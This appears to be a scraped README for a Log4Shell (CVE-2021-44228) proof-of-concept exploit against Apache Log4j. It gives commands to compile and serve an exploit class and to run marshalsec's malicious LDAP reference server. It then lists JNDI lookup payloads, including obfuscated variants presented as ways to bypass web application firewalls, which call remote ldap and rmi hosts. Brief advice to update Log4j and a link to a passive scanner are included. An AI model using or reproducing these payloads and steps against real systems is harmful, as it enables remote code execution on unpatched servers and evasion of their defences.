## https://sploitus.com/exploit?id=9227EA61-CA01-5E0A-AF8D-22B03C07A27A
# CVE-2021-44228(Apache Log4j Remote Code Execution）
> [all log4j-core versions >=2.0-beta9 and <=2.14.1](https://logging.apache.org/log4j/2.x/security.html)
The version of 1.x have other vulnerabilities, we recommend that you update the latest version.
[Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)](https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592)
### Usage:
```
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
```
```
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
```
Run the project finally,you will see your calculator from local.
Tips:
> Do not rely on a current Java version to save you. Update Log4 (or remove the JNDI lookup). Disable the expansion (seems a pretty bad idea anyways).
### Bypass rc1
For example:
```
${jndi:ldap://127.0.0.1:1389/ badClassName}
```
### Bypass WAF
```
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
```
> Don't trust the web application firewall.
### Details Of Vuln
Lookups provide a way to add values to the Log4j configuration at arbitrary places.
[Lookups](https://logging.apache.org/log4j/2.x/manual/lookups.html)
> The methods to cause leak in finally
```
LogManager.getLogger().error()
LogManager.getLogger().fatal()
```
### Simple Check Method
If you want to do black-box testing， I suggest you do passive scanning.
[BurpLog4jScan](https://github.com/tangxiaofeng7/BurpLog4j2Scan)
Have Fun!!!
### Stargazers over time
[](https://starchart.cc/tangxiaofeng7/apache-log4j-poc)